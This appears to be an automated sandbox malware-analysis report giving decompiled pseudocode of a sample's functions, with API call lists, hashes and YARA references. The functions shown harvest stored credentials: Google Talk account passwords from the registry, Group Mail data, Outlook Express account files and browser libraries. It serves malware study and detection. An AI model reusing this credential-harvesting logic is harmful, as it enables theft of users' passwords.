                                                                                                              0x0040e975
                                                                                                              0x00000000
                                                                                                              0x0040e97d

                                                                                                              APIs
                                                                                                              • UuidFromStringA.RPCRT4(5e7e8100-9138-11d1-945a-00c04fc308ff,?), ref: 0040E91D
                                                                                                              • UuidFromStringA.RPCRT4(00000000-0000-0000-0000-000000000000,?), ref: 0040E92A
                                                                                                              • memcpy.MSVCRT ref: 0040E966
                                                                                                              • CoTaskMemFree.OLE32(?), ref: 0040E975
                                                                                                              Strings
                                                                                                              • 5e7e8100-9138-11d1-945a-00c04fc308ff, xrefs: 0040E918
                                                                                                              • 00000000-0000-0000-0000-000000000000, xrefs: 0040E925
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FromStringUuid$FreeTaskmemcpy
                                                                                                              • String ID: 00000000-0000-0000-0000-000000000000$5e7e8100-9138-11d1-945a-00c04fc308ff
                                                                                                              • API String ID: 1640410171-3316789007
                                                                                                              • Opcode ID: a277b71459c7b2e7ec69b7c6d1b79b37927c538f118d90e58b3c79d9532c43ba
                                                                                                              • Instruction ID: cd3b670b1268c91d98ef63b10095ff511f923cb8a4afa2e2ee491a09b7572d99
                                                                                                              • Opcode Fuzzy Hash: a277b71459c7b2e7ec69b7c6d1b79b37927c538f118d90e58b3c79d9532c43ba
                                                                                                              • Instruction Fuzzy Hash: AD01ADB350011CBADF01ABA6CD40DEB7BACAF08354F004833FD45E6150E634EA198BA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410BC7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              C-Code - Quality: 94%
                                                                                                              			E00410BC7(void* __eflags, intOrPtr _a4, void* _a8) {
				void* _t12;
				int _t14;
				void* _t15;
				char* _t19;
				void* _t25;
				void* _t28;
				long _t31;

				_t12 = E00405ECB(_a8);
				_a8 = _t12;
				if(_t12 != 0xffffffff) {
					_t31 = GetFileSize(_t12, 0);
					_t37 = _t31 - 2;
					if(_t31 > 2) {
						_t3 = _t31 + 2; // 0x2
						_t15 = _t3;
						L004115D0();
						_t25 = _t15;
						_t28 = _t15; // executed
						SetFilePointer(_a8, 2, 0, 0);
						_t5 = _t31 - 2; // -2
						E004066F6(_t25, _a8, _t28, _t5); // executed
						_t19 = _t28 + _t31;
						 *((char*)(_t19 - 2)) = 0;
						 *((char*)(_t19 - 1)) = 0;
						 *_t19 = 0;
						E00410A8A(_t25, _t37, _a4, _t28);
						_push(_t28);
						L004115D6();
					}
					_t14 = CloseHandle(_a8); // executed
					return _t14;
				}
				return _t12;
			}










                                                                                                              0x00410bcd
                                                                                                              0x00410bd6
                                                                                                              0x00410bd9
                                                                                                              0x00410be7
                                                                                                              0x00410be9
                                                                                                              0x00410bec
                                                                                                              0x00410bee
                                                                                                              0x00410bee
                                                                                                              0x00410bf3
                                                                                                              0x00410bf8
                                                                                                              0x00410c00
                                                                                                              0x00410c02
                                                                                                              0x00410c08
                                                                                                              0x00410c10
                                                                                                              0x00410c18
                                                                                                              0x00410c1f
                                                                                                              0x00410c22
                                                                                                              0x00410c25
                                                                                                              0x00410c27
                                                                                                              0x00410c2c
                                                                                                              0x00410c2d
                                                                                                              0x00410c33
                                                                                                              0x00410c37
                                                                                                              0x00000000
                                                                                                              0x00410c3e
                                                                                                              0x00410c40

                                                                                                              APIs
                                                                                                                • Part of subcall function 00405ECB: CreateFileA.KERNELBASE(00410C96,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00405EDD
                                                                                                              • GetFileSize.KERNEL32(00000000,00000000,?,00000000,rA,00410C96,?,?,*.oeaccount,rA,?,00000104), ref: 00410BE1
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 00410BF3
                                                                                                              • SetFilePointer.KERNELBASE(00000000,00000002,00000000,00000000,?), ref: 00410C02
                                                                                                                • Part of subcall function 004066F6: ReadFile.KERNELBASE(00000000,?,00410C15,00000000,00000000), ref: 0040670D
                                                                                                                • Part of subcall function 00410A8A: wcslen.MSVCRT ref: 00410A9D
                                                                                                                • Part of subcall function 00410A8A: ??2@YAPAXI@Z.MSVCRT ref: 00410AA6
                                                                                                                • Part of subcall function 00410A8A: WideCharToMultiByte.KERNEL32(00000000,00000000,00410C2C,000000FF,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,00410C2C,?,00000000), ref: 00410ABF
                                                                                                                • Part of subcall function 00410A8A: strlen.MSVCRT ref: 00410B02
                                                                                                                • Part of subcall function 00410A8A: memcpy.MSVCRT ref: 00410B1C
                                                                                                                • Part of subcall function 00410A8A: ??3@YAXPAX@Z.MSVCRT ref: 00410BAF
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 00410C2D
                                                                                                              • CloseHandle.KERNELBASE(?), ref: 00410C37
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$??2@??3@$ByteCharCloseCreateHandleMultiPointerReadSizeWidememcpystrlenwcslen
                                                                                                              • String ID: rA
                                                                                                              • API String ID: 1886237854-474049127
                                                                                                              • Opcode ID: 4cfe724a2417ffcebf5b61c932b0b6e79a5e68b352a88c85f1e4e8359364b6e3
                                                                                                              • Instruction ID: e5b0438d6bc675850ae5605026c1b4582ede65e06839efbb6018c27a8e90e269
                                                                                                              • Opcode Fuzzy Hash: 4cfe724a2417ffcebf5b61c932b0b6e79a5e68b352a88c85f1e4e8359364b6e3
                                                                                                              • Instruction Fuzzy Hash: 4E01B532400248BEDB206B75EC4ECDB7B6CEF55364B10812BF91486261EA758D54CB68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004034CB Relevance: 10.5, APIs: 4, Strings: 3, Instructions: 47stringCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 406 4034cb-40352b memset * 2 call 40ebc1 409 403567-403569 406->409 410 40352d-403566 strcpy call 405f1f strcat call 4033d7 406->410 410->409
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E004034CB(void* __ecx, void* __eflags, void* __fp0, intOrPtr _a4) {
				void _v267;
				char _v268;
				void _v531;
				char _v532;
				void* __edi;
				void* __esi;
				void* _t15;
				void* _t23;
				char* _t28;

				_t23 = __ecx;
				_v532 = 0;
				memset( &_v531, 0, 0x104);
				_v268 = 0;
				memset( &_v267, 0, 0x104);
				_t15 = E0040EBC1(_t23, 0x80000002, "Software\\Group Mail", "InstallPath",  &_v532, 0xfa); // executed
				if(_t15 != 0) {
					strcpy( &_v268,  &_v532);
					_t28 =  &_v268;
					E00405F1F(_t28);
					strcat(_t28, "fb.dat");
					return E004033D7(_t28, __fp0, _a4);
				}
				return _t15;
			}












                                                                                                              0x004034cb
                                                                                                              0x004034e4
                                                                                                              0x004034eb
                                                                                                              0x004034fa
                                                                                                              0x00403501
                                                                                                              0x00403521
                                                                                                              0x0040352b
                                                                                                              0x0040353c
                                                                                                              0x00403541
                                                                                                              0x00403547
                                                                                                              0x00403554
                                                                                                              0x00000000
                                                                                                              0x00403566
                                                                                                              0x00403569

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004034EB
                                                                                                              • memset.MSVCRT ref: 00403501
                                                                                                                • Part of subcall function 0040EBC1: RegCloseKey.KERNEL32(000003FF), ref: 0040EBFA
                                                                                                              • strcpy.MSVCRT(00000000,00000000), ref: 0040353C
                                                                                                                • Part of subcall function 00405F1F: strlen.MSVCRT ref: 00405F20
                                                                                                                • Part of subcall function 00405F1F: strcat.MSVCRT(00000000,00413044,004062BF,00000000,00000000,sqlite3.dll,00402138,00000000,nss3.dll), ref: 00405F37
                                                                                                              • strcat.MSVCRT(00000000,fb.dat,00000000,00000000), ref: 00403554
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetstrcat$Closestrcpystrlen
                                                                                                              • String ID: InstallPath$Software\Group Mail$fb.dat
                                                                                                              • API String ID: 1387626053-966475738
                                                                                                              • Opcode ID: 7ac72ffe258bc9c875f25639f4fd0d1e3758107d2af865d0842f0f230f800b15
                                                                                                              • Instruction ID: 7ff2b4ee0b8a45595852750e2855a272ac8b2b1e575441dca18af6517dfb7442
                                                                                                              • Opcode Fuzzy Hash: 7ac72ffe258bc9c875f25639f4fd0d1e3758107d2af865d0842f0f230f800b15
                                                                                                              • Instruction Fuzzy Hash: 2E01FC72D8012C75D720E6669C46FDA766C8F64745F0004A6BA4AF20C2DAFCABD48B69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004078FF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 36%
                                                                                                              			E004078FF(signed short __ebx) {
				signed int _t17;
				void* _t18;
				int _t22;
				intOrPtr _t23;
				void* _t31;
				signed short _t39;
				signed int _t40;
				void* _t51;
				int _t56;
				void* _t57;
				int _t67;

				_t39 = __ebx;
				if( *0x417540 == 0) {
					E0040787D();
				}
				_t40 =  *0x417538;
				_t17 = 0;
				if(_t40 <= 0) {
					L5:
					_t51 = 0;
				} else {
					while(_t39 !=  *((intOrPtr*)( *0x417530 + _t17 * 4))) {
						_t17 = _t17 + 1;
						if(_t17 < _t40) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t51 =  *((intOrPtr*)( *0x417534 + _t17 * 4)) +  *0x417528;
				}
				L6:
				if(_t51 != 0) {
					L22:
					_t18 = _t51;
				} else {
					if((_t39 & 0x00010000) == 0) {
						if( *0x4171b8 == 0) {
							_push( *0x417548 - 1);
							_push( *0x41752c);
							_push(_t39);
							_push(E00407A55()); // executed
							goto L16;
						} else {
							strcpy(0x4172c0, "strings");
							_t31 = E00407D89(_t39,  *0x41752c);
							_t57 = _t57 + 0x10;
							if(_t31 == 0) {
								L14:
								_push( *0x417548 - 1);
								_push( *0x41752c);
								_push(_t39);
								goto L9;
							} else {
								_t56 = strlen( *0x41752c);
								if(_t56 == 0) {
									goto L14;
								}
							}
						}
					} else {
						_push( *0x417548 - 1);
						_push( *0x41752c);
						_push(_t39 & 0x0000ffff);
						L9:
						_push( *0x416b94);
						L16:
						_t22 = LoadStringA(); // executed
						_t56 = _t22;
						_t67 = _t56;
					}
					if(_t67 <= 0) {
						L21:
						_t18 = 0x412466;
					} else {
						_t23 =  *0x41753c;
						if(_t23 + _t56 + 2 >=  *0x417540 ||  *0x417538 >=  *0x417544) {
							goto L21;
						} else {
							_t51 = _t23 +  *0x417528;
							_t10 = _t56 + 1; // 0x1
							memcpy(_t51,  *0x41752c, _t10);
							 *((intOrPtr*)( *0x417534 +  *0x417538 * 4)) =  *0x41753c;
							 *( *0x417530 +  *0x417538 * 4) = _t39;
							 *0x417538 =  *0x417538 + 1;
							 *0x41753c =  *0x41753c + _t56 + 1;
							if(_t51 != 0) {
								goto L22;
							} else {
								goto L21;
							}
						}
					}
				}
				return _t18;
			}














                                                                                                              0x004078ff
                                                                                                              0x00407906
                                                                                                              0x00407908
                                                                                                              0x00407908
                                                                                                              0x0040790d
                                                                                                              0x00407914
                                                                                                              0x00407919
                                                                                                              0x0040792b
                                                                                                              0x0040792b
                                                                                                              0x0040791b
                                                                                                              0x0040791b
                                                                                                              0x00407926
                                                                                                              0x00407929
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00407929
                                                                                                              0x0040795f
                                                                                                              0x0040795f
                                                                                                              0x0040792d
                                                                                                              0x0040792f
                                                                                                              0x00407a50
                                                                                                              0x00407a50
                                                                                                              0x00407935
                                                                                                              0x0040793b
                                                                                                              0x0040796e
                                                                                                              0x004079ba
                                                                                                              0x004079bb
                                                                                                              0x004079c1
                                                                                                              0x004079c7
                                                                                                              0x00000000
                                                                                                              0x00407970
                                                                                                              0x0040797a
                                                                                                              0x00407986
                                                                                                              0x0040798b
                                                                                                              0x00407990
                                                                                                              0x004079a4
                                                                                                              0x004079aa
                                                                                                              0x004079ab
                                                                                                              0x004079b1
                                                                                                              0x00000000
                                                                                                              0x00407992
                                                                                                              0x0040799d
                                                                                                              0x004079a2
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x004079a2
                                                                                                              0x00407990
                                                                                                              0x0040793d
                                                                                                              0x00407943
                                                                                                              0x00407944
                                                                                                              0x0040794d
                                                                                                              0x0040794e
                                                                                                              0x0040794e
                                                                                                              0x004079c8
                                                                                                              0x004079c8
                                                                                                              0x004079ce
                                                                                                              0x004079d0
                                                                                                              0x004079d0
                                                                                                              0x004079d2
                                                                                                              0x00407a49
                                                                                                              0x00407a49
                                                                                                              0x004079d4
                                                                                                              0x004079d4
                                                                                                              0x004079e3
                                                                                                              0x00000000
                                                                                                              0x004079f3
                                                                                                              0x004079f9
                                                                                                              0x004079fc
                                                                                                              0x00407a07
                                                                                                              0x00407a1d
                                                                                                              0x00407a2b
                                                                                                              0x00407a36
                                                                                                              0x00407a42
                                                                                                              0x00407a47
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00407a47
                                                                                                              0x004079e3
                                                                                                              0x004079d2
                                                                                                              0x00407a54

                                                                                                              APIs
                                                                                                              • strcpy.MSVCRT(004172C0,strings,?,?,00408822,?,?,?,?,?,00000000,74EC1245), ref: 0040797A
                                                                                                                • Part of subcall function 00407D89: _itoa.MSVCRT ref: 00407DAA
                                                                                                              • strlen.MSVCRT ref: 00407998
                                                                                                              • LoadStringA.USER32 ref: 004079C8
                                                                                                              • memcpy.MSVCRT ref: 00407A07
                                                                                                                • Part of subcall function 0040787D: ??2@YAPAXI@Z.MSVCRT ref: 004078A5
                                                                                                                • Part of subcall function 0040787D: ??2@YAPAXI@Z.MSVCRT ref: 004078C3
                                                                                                                • Part of subcall function 0040787D: ??2@YAPAXI@Z.MSVCRT ref: 004078E1
                                                                                                                • Part of subcall function 0040787D: ??2@YAPAXI@Z.MSVCRT ref: 004078F1
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$LoadString_itoamemcpystrcpystrlen
                                                                                                              • String ID: strings
                                                                                                              • API String ID: 1748916193-3030018805
                                                                                                              • Opcode ID: bf392a6dacac5d0c9eb1169d992c8844a823b81d6c84b2abf61d961779fc3ee1
                                                                                                              • Instruction ID: bfec9983b2359add980c5e43b0d452c2fda20e15e3ba6c634c10b5a9b6e313b6
                                                                                                              • Opcode Fuzzy Hash: bf392a6dacac5d0c9eb1169d992c8844a823b81d6c84b2abf61d961779fc3ee1
                                                                                                              • Instruction Fuzzy Hash: F73189B1A8C101BFD7159B59FD80DB63377EB84304710807AE902A7AB1E639B851CF9D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040754D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 96%
                                                                                                              			E0040754D(void* __ecx, void* __eflags, int _a4, char _a8, char _a12, void _a13, char _a268, void _a269) {
				void* _v0;
				char _v4;
				long _t29;
				void* _t33;
				void* _t36;
				signed int _t54;
				void* _t56;
				void* _t57;
				void* _t58;

				_t50 = __ecx;
				E004118A0(0x1110, __ecx);
				E0040724C(_a4); // executed
				_t29 = E0040EB3F(0x80000001, "Software\\Google\\Google Talk\\Accounts",  &_v4);
				_t56 = (_t54 & 0xfffffff8) + 0xc;
				if(_t29 == 0) {
					_a4 = 0;
					_a12 = 0;
					memset( &_a13, 0, 0xff);
					_t57 = _t56 + 0xc;
					_t33 = E0040EC05(_v0, 0,  &_a12);
					while(1) {
						_t58 = _t57 + 0xc;
						if(_t33 != 0) {
							break;
						}
						_t36 = E0040EB3F(_v0,  &_a12,  &_a8);
						_t57 = _t58 + 0xc;
						if(_t36 == 0) {
							_a268 = 0;
							memset( &_a269, 0, 0xfff);
							E0040EB80(0xfff, _t50, _a8, "pw",  &_a268);
							_t57 = _t57 + 0x18;
							E00407406( &_a268, _a4,  &_a12);
							RegCloseKey(_v0);
						}
						_a4 = _a4 + 1;
						_t33 = E0040EC05(_v0, _a4,  &_a12);
					}
					_t29 = RegCloseKey(_v0);
				}
				return _t29;
			}












                                                                                                              0x0040754d
                                                                                                              0x00407558
                                                                                                              0x00407562
                                                                                                              0x00407576
                                                                                                              0x0040757b
                                                                                                              0x00407580
                                                                                                              0x00407593
                                                                                                              0x00407597
                                                                                                              0x0040759b
                                                                                                              0x004075a0
                                                                                                              0x004075ad
                                                                                                              0x00407642
                                                                                                              0x00407642
                                                                                                              0x00407647
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x004075cb
                                                                                                              0x004075d0
                                                                                                              0x004075d5
                                                                                                              0x004075e5
                                                                                                              0x004075ec
                                                                                                              0x0040760a
                                                                                                              0x0040760f
                                                                                                              0x00407621
                                                                                                              0x0040762a
                                                                                                              0x0040762a
                                                                                                              0x0040762c
                                                                                                              0x0040763d
                                                                                                              0x0040763d
                                                                                                              0x00407651
                                                                                                              0x00407651
                                                                                                              0x00407658

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040724C: memset.MSVCRT ref: 004072AE
                                                                                                                • Part of subcall function 0040724C: memset.MSVCRT ref: 004072C2
                                                                                                                • Part of subcall function 0040724C: memset.MSVCRT ref: 004072DC
                                                                                                                • Part of subcall function 0040724C: memset.MSVCRT ref: 004072F1
                                                                                                                • Part of subcall function 0040724C: GetComputerNameA.KERNEL32(?,?), ref: 00407313
                                                                                                                • Part of subcall function 0040724C: GetUserNameA.ADVAPI32(?,?), ref: 00407327
                                                                                                                • Part of subcall function 0040724C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00407346
                                                                                                                • Part of subcall function 0040724C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 0040735B
                                                                                                                • Part of subcall function 0040724C: strlen.MSVCRT ref: 00407364
                                                                                                                • Part of subcall function 0040724C: strlen.MSVCRT ref: 00407373
                                                                                                                • Part of subcall function 0040724C: memcpy.MSVCRT ref: 00407385
                                                                                                                • Part of subcall function 0040EB3F: RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                              • memset.MSVCRT ref: 0040759B
                                                                                                                • Part of subcall function 0040EC05: RegEnumKeyExA.KERNEL32 ref: 0040EC28
                                                                                                              • memset.MSVCRT ref: 004075EC
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 0040762A
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00407651
                                                                                                              Strings
                                                                                                              • Software\Google\Google Talk\Accounts, xrefs: 0040756C
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$ByteCharCloseMultiNameWidestrlen$ComputerEnumOpenUsermemcpy
                                                                                                              • String ID: Software\Google\Google Talk\Accounts
                                                                                                              • API String ID: 2959138223-1079885057
                                                                                                              • Opcode ID: 474d0f534642eb4eecd76246e6966c070d496508ea558b7326146740efdda728
                                                                                                              • Instruction ID: 125b9810afc719f5725a34431a69a8fbc80fc1372edd2e7206a69bc0ee1a9f38
                                                                                                              • Opcode Fuzzy Hash: 474d0f534642eb4eecd76246e6966c070d496508ea558b7326146740efdda728
                                                                                                              • Instruction Fuzzy Hash: 6A21887150820A6FD610EF51DC42DEBB7ECDF94344F00083AF945E1191E635D96D9BA7
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EE59 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74registrystringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 25%
                                                                                                              			E0040EE59(char* __edi, void* __esi) {
				void* _v8;
				char _v40;
				void _v299;
				char _v300;
				void* _t32;
				char* _t37;
				void* _t38;

				_t38 = __esi;
				_t37 = __edi;
				E0040EDAC();
				if( *0x41751c == 0 ||  *((intOrPtr*)(E00406278() + 0x10)) == 1 && (__esi == 0x19 || __esi == 0x17 || __esi == 0x16)) {
					_v300 = 0;
					memset( &_v299, 0, 0x103);
					if(_t38 == 0x19 || _t38 == 0x17 || _t38 == 0x16) {
						_push( &_v8);
						_push("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders");
						_push(0x80000002);
					} else {
						_push( &_v8);
						_push("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders");
						_push(0x80000001);
					}
					if(E0040EB3F() == 0) {
						E0040EDDB(_t38);
						E0040EB80(0x104,  &_v40, _v8,  &_v40,  &_v300);
						RegCloseKey(_v8);
					}
					strcpy(_t37,  &_v300);
					return 0 |  *_t37 != 0x00000000;
				} else {
					_t32 =  *0x41751c(0, _t37, _t38, 0); // executed
					return _t32;
				}
			}










                                                                                                              0x0040ee59
                                                                                                              0x0040ee59
                                                                                                              0x0040ee63
                                                                                                              0x0040ee70
                                                                                                              0x0040eea8
                                                                                                              0x0040eeae
                                                                                                              0x0040eeb9
                                                                                                              0x0040eec8
                                                                                                              0x0040eec9
                                                                                                              0x0040eece
                                                                                                              0x0040eed5
                                                                                                              0x0040eed8
                                                                                                              0x0040eed9
                                                                                                              0x0040eede
                                                                                                              0x0040eede
                                                                                                              0x0040eeed
                                                                                                              0x0040eef4
                                                                                                              0x0040ef0c
                                                                                                              0x0040ef17
                                                                                                              0x0040ef17
                                                                                                              0x0040ef25
                                                                                                              0x00000000
                                                                                                              0x0040ee8c
                                                                                                              0x0040ee90
                                                                                                              0x00000000
                                                                                                              0x0040ee90

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040EDAC: LoadLibraryA.KERNEL32(shell32.dll), ref: 0040EDBA
                                                                                                                • Part of subcall function 0040EDAC: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA,?,00000000), ref: 0040EDCF
                                                                                                              • SHGetSpecialFolderPathA.SHELL32(00000000,00000000,0000001A,00000000,00000104), ref: 0040EE90
                                                                                                              • memset.MSVCRT ref: 0040EEAE
                                                                                                              • RegCloseKey.ADVAPI32(00000000), ref: 0040EF17
                                                                                                              • strcpy.MSVCRT(00000000,?,?,?,?,?,?,00000104), ref: 0040EF25
                                                                                                                • Part of subcall function 00406278: GetVersionExA.KERNEL32(00417118,0000001A,0040EE77,00000104), ref: 00406292
                                                                                                              Strings
                                                                                                              • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 0040EEC9, 0040EED9
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressCloseFolderLibraryLoadPathProcSpecialVersionmemsetstrcpy
                                                                                                              • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                                              • API String ID: 1359237156-2036018995
                                                                                                              • Opcode ID: 7527a9cbe3db8a9b3fc31e585aa2ae59e49d5a58bf4245b166262afda8c14f20
                                                                                                              • Instruction ID: b4f7ca4f0d473bdd6f3573a0ab4a655380742daec172f7a18688454dd959f7ad
                                                                                                              • Opcode Fuzzy Hash: 7527a9cbe3db8a9b3fc31e585aa2ae59e49d5a58bf4245b166262afda8c14f20
                                                                                                              • Instruction Fuzzy Hash: D711D871800219FADB24A656DC89DEF77BCDB04309F1008B7F91572191D63D9FA886DD
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A5AC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 64%
                                                                                                              			E0040A5AC(void* __eax) {
				void* __esi;
				_Unknown_base(*)()* _t26;
				void* _t31;
				intOrPtr _t34;
				char* _t44;
				void* _t45;
				intOrPtr* _t46;
				int _t47;

				_t45 = __eax;
				_t37 =  *((intOrPtr*)(__eax + 0x37c));
				_t47 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x37c)) + 0x30)) > 0) {
					do {
						_t31 = E00406DEB(_t47, _t37);
						_push(_t31);
						_push("/sort");
						L004115C4();
						if(_t31 == 0) {
							_t4 = _t47 + 1; // 0x1
							_t44 = E00406DEB(_t4,  *((intOrPtr*)(_t45 + 0x37c)));
							_t54 =  *_t44 - 0x7e;
							_t34 =  *((intOrPtr*)(_t45 + 0x370));
							if( *_t44 != 0x7e) {
								_push(0);
							} else {
								_push(1);
								_t44 = _t44 + 1;
							}
							_push(_t44);
							E0040A119(_t34, _t54);
						}
						_t37 =  *((intOrPtr*)(_t45 + 0x37c));
						_t47 = _t47 + 1;
					} while (_t47 <  *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x37c)) + 0x30)));
				}
				E00405E2C();
				 *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x370)) + 0x28)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x370)))) + 0x5c))();
				if(E00406DFB( *((intOrPtr*)(_t45 + 0x37c)), "/nosort") == 0xffffffff) {
					_t46 =  *((intOrPtr*)(_t45 + 0x370));
					if( *0x41748c == 0) {
						 *0x417490 =  *((intOrPtr*)(_t46 + 0x1ac));
						 *0x41748c = 1;
					}
					_t26 =  *((intOrPtr*)( *_t46 + 0x60))(E0040A0F3);
					qsort( *((intOrPtr*)( *_t46 + 0x64))(), 0,  *(_t46 + 0x28), _t26);
				}
				return SetCursor( *0x416b98);
			}











                                                                                                              0x0040a5af
                                                                                                              0x0040a5b1
                                                                                                              0x0040a5b9
                                                                                                              0x0040a5be
                                                                                                              0x0040a5c0
                                                                                                              0x0040a5c2
                                                                                                              0x0040a5c7
                                                                                                              0x0040a5c8
                                                                                                              0x0040a5cd
                                                                                                              0x0040a5d6
                                                                                                              0x0040a5de
                                                                                                              0x0040a5e6
                                                                                                              0x0040a5e8
                                                                                                              0x0040a5eb
                                                                                                              0x0040a5f1
                                                                                                              0x0040a5f8
                                                                                                              0x0040a5f3
                                                                                                              0x0040a5f3
                                                                                                              0x0040a5f5
                                                                                                              0x0040a5f5
                                                                                                              0x0040a5f9
                                                                                                              0x0040a5fa
                                                                                                              0x0040a5fa
                                                                                                              0x0040a5ff
                                                                                                              0x0040a605
                                                                                                              0x0040a606
                                                                                                              0x0040a5c0
                                                                                                              0x0040a60b
                                                                                                              0x0040a616
                                                                                                              0x0040a621
                                                                                                              0x0040a637
                                                                                                              0x0040a63f
                                                                                                              0x0040a645
                                                                                                              0x0040a64d
                                                                                                              0x0040a652
                                                                                                              0x0040a652
                                                                                                              0x0040a668
                                                                                                              0x0040a676
                                                                                                              0x0040a67b
                                                                                                              0x0040a68d

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Cursor_mbsicmpqsort
